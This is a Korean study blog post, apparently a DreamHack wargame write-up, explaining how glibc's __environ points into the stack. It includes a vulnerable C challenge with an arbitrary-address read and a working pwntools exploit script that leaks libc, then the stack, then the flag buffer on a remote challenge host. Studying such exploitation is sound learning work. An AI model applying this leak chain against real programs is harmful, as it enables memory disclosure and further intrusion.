CIDY
[System_Hacking] AD: stage4_문제풀이(__environ) 본문
*환경변수
환경변수는 모든 운영체제에서 사용되며, 매번 변할 수 있는 동적인 값들의 모임이며, 시스템 정보를 갖고 있는 변수이다. -> 사용자가 직접 추가/수정/삭제 가능.
리눅스에서 제공하는 명령어들은 /bin, /usr/bin과 같은 디렉토리에 있다. -> 우리가 명령어 입력 -> 환경변수에 명시된 디렉토리에서 명령어 탐색/실행 -> 명령어 경로 입력 불필요
환경변수는 터미널뿐만 아니라, 프로그램에서도 참조함 -> 프로그램도 명령어를 실행해야 하는 경우가 있는데, 절대경로를 입력하지 않아도 명령어 실행 가능 -> 프로세스 로드 시 환경변수를 초기화하기 때문
환경변수에 대한 정보는 스택 영역에 존재한다. + 라이브러리 함수 실행 시에도 그 정보 참조함 -> 환경 변수를 가리키는 포인터가 별도로 선언되어 있음. -> 라이브러리 주소 알고 + 어떤 주소를 읽어올 수 있으면 -> 스택 주소 알아낼 수 있음
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "environ"
294: 00000000003ee098 8 OBJECT WEAK DEFAULT 35 _environ@@GLIBC_2.2.5
1005: 00000000003ee098 8 OBJECT WEAK DEFAULT 35 environ@@GLIBC_2.2.5
1349: 00000000003ee098 8 OBJECT GLOBAL DEFAULT 35 __environ@@GLIBC_2.2.
이건 립시파일에서(libc.so.6) environ심볼을 찾는 것임. -> __environ이라는 전역 변수가 보인다.
environ은 execve계열 함수와 getenv 등 환경 변수 관련 함수에서 참조하는 변수이다.
__environ이 담고있는 주소를 까 보면 (더블 포인터) -> 환경변수 문자열 각각의 주소들을 갖고 있다. -> vmmap해보면 스택 영역임.
요약하면 이런 구조다 ↑ 저기서 environ에 1차적으로 담긴 값(0x00007fffffffdf48)이 스택 영역의 값임. 삼중 포인터로 표현되는 이유는 &로 프린트했기 때문.
__environ은 립시 영역에 있는데 거기 담긴 값은 스택 영역에 있다니 흥미로운 상황이다..
// 64-bit, canary, nx, pie, full relro
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("/home/environ_exercise/flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
이 문제도 보호기법이 빡세지만 세팅이 잘 되어있다. 우선 플래그 내용이 file_buf에 저장되므로 그걸 읽어오는 게 목표다.
우선 libc릭은 하라고 세팅해준다. 그리고 environ에 든 값을 이용해 스택 영역 임의의 주소를 릭해온다.
__environ은 립시 영역의 값이고 거기에 담긴 값은 스택 영역의 값이므로 둘 다 릭하는 것이 가능하다.
flag를 읽어올 때 read의 rcx에 파일 내용을 담는 주소가 저장된다. (file_buf말하는거임.) -> 얘도 변수니까 당연히 스택 영역에 있다.
뭐 사실 rsi를 까봐도 된다.
요약하면, stdout으로 립시릭 -> __environ변수 주소 알아내기 -> 그 주소 입력해서 거기 든 주소 알아내기(스택 영역 주소 릭) -> 스택 영역 내에서의 오프셋은 같으므로 릭해온 스택 영역 주소와 file_buf간의 오프셋 구하기
이렇긴 한데... 서버에서는 0x1538이다. ㅋㅋ
from pwn import *
p = remote("host3.dreamhack.games", 21904)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil(b": ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_'] - 0x1ff0c0
print(hex(libc_base))
environ = libc_base + libc.sym['__environ'] + 0x1fea98
print(hex(environ))
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b": ", str(environ))
stack_environ = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
file = stack_environ - 0x1538
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b": ", str(file))
p.interactive()
오프셋 맞추느라 고생했다..ㅎ 중간에 이유없는 덧셈은 오프셋 차이다.
.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] AD: stage5_SigReturn Oriented Programming (0) | 2022.07.14 |
---|---|
[System_Hacking] AD: stage4_문제풀이(rtld) (0) | 2022.07.14 |
[System_Hacking] AD: stage4_문제풀이(Overwrite _rtld_global) (0) | 2022.07.14 |
[System_Hacking] AD: stage4__rtld_global (0) | 2022.07.12 |
[System_Hacking] AD: stage3_문제풀이(Master Canary) (0) | 2022.07.11 |